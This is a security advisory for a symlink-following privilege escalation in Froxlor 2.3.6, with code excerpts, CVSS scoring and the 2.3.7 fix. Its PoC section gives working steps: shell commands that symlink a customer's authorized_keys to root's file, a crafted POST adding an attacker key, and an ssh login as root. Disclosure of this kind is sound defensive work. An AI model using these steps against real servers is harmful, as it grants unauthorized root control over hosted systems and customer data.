Skip to content

GHSA-mq5v-pxpm-8jw2 CVE-2026-41236

Froxlor has privilege escalation in SSH key synchronization via symlinked `authorized_keys` path

High Packagist
Severity
8.8 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.37%
Chance of exploitation in the next 30 days. Higher than 30.50% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-59 Improper Link Resolution Before File Access ('Link Following')
Fix
2.3.7
Upgrade froxlor/froxlor to this version or later

Description

Summary

Froxlor 2.3.6 contains a symlink-following flaw in the root-owned SSH key synchronization path used for customer FTP users. The provisioning code appends public keys to ~/.ssh/authorized_keys under a customer-controlled home directory without verifying that the target path is not a symbolic link.

If an attacker controls a shell-enabled customer account and can modify files inside the assigned home directory, the attacker can replace ~/.ssh/authorized_keys with a symlink to /root/.ssh/authorized_keys. When Froxlor's privileged cron task later synchronizes SSH keys, it appends the attacker-supplied key into root's authorized key file, resulting in root SSH access.

Details

The customer-facing SSH key workflow accepts an FTP user selection and an arbitrary public key from the authenticated session and forwards them into SshKeys::add():

// customer_ftp.php:251-253
if ($action == 'add' && Request::post('send') == 'send') {
    $result = $log->logAction(USR_ACTION, LOG_INFO, "added SSH-key");
    Commands::get()->apiCall('SshKeys.add', Request::postAll());
}

On the server side, the add handler stores the public key and schedules an NSS rebuild as long as the customer has shell capability enabled at the customer level:

// lib/Froxlor/Api/Commands/SshKeys.php:67-70,120-145
if ($this->getUserDetail('shell_allowed') != '1') {
    throw new Exception("You cannot add SSH keys because shell access is disabled for your account.");
}

$ins_stmt = Database::prepare("
    INSERT INTO `" . TABLE_PANEL_CUSTOMERS_SSH ."`.
");
Settings::AddTask('rebuildnssusers');

Later, a root-owned cron path enters SshKeys::generateFiles() and derives the target path by simple string concatenation:

// lib/Froxlor/Cron/System/SshKeys.php:52-64
$sshdir = FileDir::makeCorrectDir($userinfo['homedir'] . '/.ssh');
$authkeysfile = FileDir::makeCorrectFile($sshdir . '/authorized_keys');
if (!file_exists($authkeysfile)) {
    touch($authkeysfile);
}

The helper used here only normalizes the path string and does not resolve or reject symlinks:

// lib/Froxlor/FileDir.php:376-392
public static function makeCorrectFile(string $file): string
{
    $file = str_replace('//', '/', $file);
    $file = str_replace('\\', '', $file);
    return $file;
}

The root-owned sync code then appends attacker-controlled SSH key material to the derived path:

// lib/Froxlor/Cron/System/SshKeys.php:94-103
file_put_contents($authkeysfile, $userinfo['ssh-rsa'] . "\n", FILE_APPEND | LOCK_EX);
chown($authkeysfile, $userinfo['uid']);
chgrp($authkeysfile, $userinfo['gid']);

Because Froxlor also grants the customer ownership of the home directory tree during account provisioning, the attacker can place a symbolic link at ~/.ssh/authorized_keys before the privileged synchronization step runs.

PoC

An attacker needs an authenticated customer account with shell-enabled home-directory control. That prerequisite may exist by normal configuration, or it may be obtained first through the separate FTP shell-assignment authorization bypass described in the companion report.

Relevant runtime prerequisites:

  • the attacker controls a customer-owned home directory on the target host
  • the attacking customer has shell_allowed=1
  • the attacker can submit SSH keys through the Froxlor panel
  • Froxlor's master cron runs with the intended root privileges

Complete PoC flow:

  1. Obtain shell access as the customer-owned account and prepare a symlink in the home directory:
mkdir -p ~/.ssh
rm -f ~/.ssh/authorized_keys
ln -s /root/.ssh/authorized_keys ~/.ssh/authorized_keys
  1. From an authenticated Froxlor customer session, submit a new SSH public key for the relevant FTP user:
POST /customer_ftp.php?page=sshkeys&action=add HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Cookie: <authenticated customer session>

csrf_token=VALID_CSRF_TOKEN&
send=send&
description=poc&
ftpuser=17&
ssh_pubkey=ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB attacker@host
  1. Wait for Froxlor's master cron to process the queued REBUILD_NSSUSERS task.
  2. Use the corresponding private key to authenticate as root:
ssh -i id_ed25519 root@target.example

Result:

  • the root-owned cron task follows the symlinked authorized_keys path
  • the submitted public key is appended to /root/.ssh/authorized_keys
  • SSH access as root succeeds with the attacker's key pair

Impact

This is a direct customer-to-root privilege escalation on the managed host. A successful attacker can obtain full operating-system control, read or modify all hosted customer data, persist at the highest privilege level, and tamper with every service administered by the server.

Affected versions

Packagist

PackageVulnerableFixed in
froxlor/froxlor
>= 2.3.6, < 2.3.7
2.3.7

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

froxlor/froxlor Packagist → 2.3.7

composer
composer require froxlor/froxlor:^2.3.7

Severity breakdown

CVSS 3.1 8.8

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-59: Improper Link Resolution Before File Access ('Link Following')

The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.

How to prevent it
  • Architecture and Design: Follow the principle of least privilege when assigning access rights to entities in a software system. Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-7788-ghfq-c6mh
Froxlor: Credential and 2FA secret disclosure via Froxlor API endpoints
Critical Also affects froxlor/froxlor
GHSA-xpr4-8vp6-c87j
Froxlor has CSRF Vulnerability in AJAX Endpoint — Missing Cross-Site Request Forgery Protection
Medium Also affects froxlor/froxlor
GHSA-5rw4-4665-cvwf
Froxlor DomainZones.add allows DNS zone-file RR injection via record/type fields
Medium Also affects froxlor/froxlor
GHSA-w27m-rmmf-g5w4
Froxlor: Second-Order SQL Injection via `Admins.add` `ipaddress` Parameter Allows Full Database Exfiltration
High Also affects froxlor/froxlor
GHSA-43gm-9rr3-cx7g
Froxlor: Stored XSS in DNS TXT Record Content Allows Customer-to-Admin Account Takeover
High Also affects froxlor/froxlor
GHSA-q4rm-m6xh-5pv7
Froxlor customer can create MySQL databases on disallowed servers via Mysqls.add API
Medium Also affects froxlor/froxlor
GHSA-mr9h-45p9-fg8h
Froxlor: Authenticated customers can read other customers' allowed sender aliases
Medium Also affects froxlor/froxlor
GHSA-f9rx-7wf7-jr36
Froxlor's API Authentication bypasses 2FA Authentication
High Also affects froxlor/froxlor
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor